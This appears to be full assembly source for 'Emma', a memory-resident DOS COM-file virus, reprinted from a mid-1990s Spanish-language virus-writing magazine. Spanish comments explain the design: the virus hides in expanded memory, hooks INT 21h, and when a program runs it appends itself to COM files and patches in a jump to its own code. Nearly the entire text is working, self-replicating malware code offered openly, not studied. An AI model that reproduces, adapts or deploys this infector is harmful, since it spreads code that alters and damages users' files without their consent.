Copy Link
Add to Bookmark
Report
Minotauro Magazine Issue 04 07 EMMA_10.ASM
; Emma.1.411
; ---------------------------------------------------------------------------
; ! Virus Name: Emma !
; ! Version: 1 !
; ! Type: Parasitic, Resident, COM Infector !
; ! Length: 411 bytes !
; ---------------------------------------------------------------------------
; Descripcion tecnica:
; o Modo de residencia: Rutina sobre la IVT + pagina de EMS. El codigo
; del virus se encuentra en EMS y la rutina (muy corta) sobre la
; IVT mapea el virus en memoria baja y le da el control.
; o Metodo de infeccion: totalmente convencional. Se pone el JMP al
; principio del file, apuntando al virus, y luego del virus,
; restaurados los 3 bytes originales, se entrega el control al hoste
; o No hay reinfeccion de files, utilizando no el metodo de busqueda
; de una 'marca' (ya sea esta dentro del file o en sus atributos,
; etc) sino mirando en los 3 primeros bytes (ya que de todas formas
; estos deben ser leidos, esto salva codigo)
; o El virus diferencia entre COM y EXE verdaderos, y deja intactos
; los EXE
; Comentarios:
; o Un problema de dificil solucion gravita sobre toda la familia EMMA
; de virus. Se trata de que el hecho de mapear una pagina sobre el
; page frame DENTRO de int 21 colisionaria con programas que usen
; la EMM, provocando una escandalosa caida del sistema.
; o El codigo esta bastante optimizado. Aun asi, el largo es excesivo
; para un virus de estas caracteristicas, ya que preferi sacrificar
; un poco de codigo, pero hacerlo 'ampliable' y 'upward compatible'
; o La prevencion de errores es casi nula.
; o El residence test es notoriamente elemental. En futuras versiones
; esto se podria rever y mejorar.
; Side Note:
; Ojo la parte residente es NETAMENTE NO-REENTRANTE! por el hecho del mapeo
; de la pagina en memoria alta. Decidi utilizar una Busy Flag aun cuando el
; largo del codigo agregado es demasiado, por el hecho de que la Busy Flag se
; encuentre en memoria baja (en la IVT). El largo del codigo agregado es de
; 28 bytes. A primera vista esto no es viable, ya que haciendo CALL WORD
; PTR [OLDINT21] en lugar de cada INT 21, (en esta version del virus) solo
; habria 14 bytes mas. Pero en futuras versiones, la cosa se agrandaria, pues
; al haber mas rutinas que corren dentro de INT 21, habria mas CALLS. Esto
; ya deja la cosa asi para el futuro. Otra forma seria (ya que usamos la IVT)
; usar una INT alternativa, como hace el virus AT. JEJEJE. en todo caso habra
; que ver, en el futuro lo podremos cambiar.
; ya funca OK yeah!
; Esquema:
; [Fake Hoste]
; [Virus :
; 1 - Data
; 2 - Resident Part
; a - Low Memory Handler [+data]
; b - High Memory Int 21 Handler
; c - COM infector
; 3 - Transient Part
; a - COM installer
; b - Memory Management routine]
;
Emma segment para public
assume cs:emma, ss:emma
org 100h
.386
VirLen equ offset VirEnd-offset VirBegin
Start:
; ---------------------------------------------------------------------------
; Fake Hoste
db 0e9h
dw offset VirBegin-offset Start-3
int 21h
; ---------------------------------------------------------------------------
; Virus Begins Here
VirBegin:
jmp InstallCom
; ---------------------------------------------------------------------------
; Data
OrBytes db 0b8h, 0, 4ch ; 20h-3 dup(0) <== esto iria pal
;EXE
EMMString db "EMMXXXX0"
ReadBuff db 0e9h, "MP"
; Identificacion. Sacar luego, si molesta, jejeje
; VirName db "EMMA virus "
; db "(Expanded Memory Major Anoyance) "
; Author db "By Trurl "
; Location db "Bs As, 1994"
; ---------------------------------------------------------------------------
; Resident PArt
Int21Entry:
; Note: Here we map a page into the page frame without concerning about
; what could be mapped there. This must be solved later.
pushf
; check busy flag
cmp byte ptr cs:[offset BusyFlag-offset Int21Entry], 0
jnz WereBusy
pusha
mov ax, 4400h
xor bx, bx
mov dx, cs:[offset Handle-offset Int21Entry]
int 67h
popa
popf
db 09ah ; CALL FAR Note that PFrame must be continuous
dw offset Int21Handler-offset VirBegin
PFrame dw 0
pusha
pushf
mov ax, 4400h
mov bx, 0ffffh
mov dx, cs:[offset Handle-offset Int21Entry]
int 67h
mov bp, sp
mov ax, [bp]
mov [bp+2+16+4], ax
popf
popa
iret
; Data necesary for this 'lonely' routine
Handle dw 0
BusyFlag db 0
WereBusy:
popf
db 0eah
OldInt21 dd 0
EndInt21Entry:
Int21Handler:
pushf
xchg ax, dx
cmp dx, 4b00h
jz RunProgFunc
xchg ax, dx
call cs:dword ptr [offset OldInt21-offset VirBegin]
retf
RunProgFunc:
popf
call ShiftFlag
xchg ax, dx
push ds
push dx
pushf ; Run program
call cs:dword ptr [offset OldInt21-offset VirBegin]
pushf
pusha
push ds
mov bp, sp
lds dx, [bp+20]
mov ax, 3d02h ; Open File
int 21h
xchg bx, ax
mov ah, 3fh ; Leer 3 bytes
mov cx, 3
push cs
pop ds
mov dx, offset OrBytes-offset VirBegin
int 21h
mov ax, 4202h ; goto eof
cwd
xor cx, cx
int 21h
sub ax, 3
push ax
sub ax, VirLen
cmp ax, word ptr ds:[offset OrBytes-offset VirBegin+1]
jz AlreadyInfected ; Prevent Reinfection
mov ax, 'ZM'
cmp ax, word ptr ds:[offset OrBytes-offset VirBegin]
jz AlreadyInfected ; Don't infect EXE's
pop ax
mov word ptr ds:[offset ReadBuff-offset VirBegin+1], ax
mov ah, 40h ; Write Virus
mov cx, VirLen
cwd
int 21h
mov ax, 4200h ; Goto Begining of file
xor cx, cx
cwd
int 21h
mov ah, 40h ; Write JMP
mov cx, 3
mov dx, offset ReadBuff-offset VirBegin
int 21h
jmp Done
AlreadyInfected:
add sp, 2
Done:
mov ah, 3eh ; Close File
int 21h
call ShiftFlag
pop ds
popa
push bp
mov bp, sp; BP - BP, BP+2 - FLAGS, BP+4 - DX, BP+6 - DS, BP+8 - RADD
lea sp, [bp+8] ; Fix Up SP for RETurn
push ax
mov ax, [bp+2]
push ax
popf
pop ax
mov bp, [bp]
retf
; Turn on and off the fucking sonofabitch busy flag
; obviously in the vector table area, where the handler is, shit fuck
ShiftFlag:
push ax
push ds
mov ax, 24h
mov ds, ax
xor byte ptr ds:[offset BusyFlag-offset Int21Entry], 1
pop ds
pop ax
ret
; ---------------------------------------------------------------------------
; Non-Resident (Installing) Part
InstallCom:
pusha
mov bx, cs:[101h] ; get off. of vir in mem.
add bx, 103h
call InstallMem ; install
mov di, si ; virus relys on SI=100 on program entry
lea si, [bx+offset OrBytes-offset VirBegin]
movsb ; restore original bytes
movsw
popa
jmp si ; get out
InstallMem:
; Hace toda la alocacion en memoria y hookeo de ints. Conserva los registros.
; Entrada: BX offset del Virus en memoria
push bx
push si
push es
push ds
push bx; para salvar el adress
push bx;
; Already-Resident check
push ds
mov ax, 24h
mov ds, ax
cmp word ptr ds:[0], 2e9ch
pop ds
jz NotPresent ; The virus is already loaded ==> jmp to NotPresent
; First we must detect whether an EMM is loaded or not. If it's not, we
; must not load (we'll do it that way by now). If it is, we do the
; EMM load.
lea si, [bx+offset EMMString-offset VirBegin]
mov ax, 3567h ; We'll use the Get Interrupt Method of finding out
int 21h ; if an EMM is present or not.
mov di, 10 ; offset of EMMXXXXX0 within Device Driver
mov cx, 8
repz cmpsb
jnz NotPresent
mov ah, 42h ; Check that there is at least one page free
int 67h ; (Since there is no error detection...)
cmp bx, 1
jl NotPresent
mov ah, 41h ; Get Page Frame Add.
int 67h
pop si ; si <=== adress of virus in hoste seg.
mov cs:word ptr [offset PFrame-offset VirBegin+si], bx
mov es, bx
mov ah, 43h ; Allocate one Page
mov bx, 1
int 67h
mov cs:word ptr [offset Handle-offset VirBegin+si], dx ; Save Handle
mov ax, 4400h ; Map the page
mov bx, 0
int 67h
; Hangs and all that crap
mov ax, 3521h
int 21h
; si must hold address of virus. (if code is added, push)
mov cs:word ptr [offset OldInt21-offset VirBegin+si], bx
mov cs:word ptr [offset OldInt21-offset VirBegin+2+si], es
mov es, cs:word ptr [offset PFrame-offset VirBegin+si]
xor di, di ; Copy the virus
; si must hold address of virus. (if code is added, push)
mov cx, VirLen
repz movsb
mov ax, 4400h ; UnMap the page
mov bx, 0ffffh
int 67h
mov di, 24h
mov bx, di
mov es, di
xor di, di
pop si ; si <=== adress of virus in hoste seg.
add si, offset Int21Entry-offset VirBegin
mov cx, offset EndInt21Entry-offset Int21Entry
repz movsb
mov ds, bx
xor dx, dx
mov ax, 2521h
int 21h
jmp OutLStack
NotPresent:
add sp, 4
OutLStack:
pop ds
pop es
pop si
pop bx
ret
VirEnd:
ends
end Start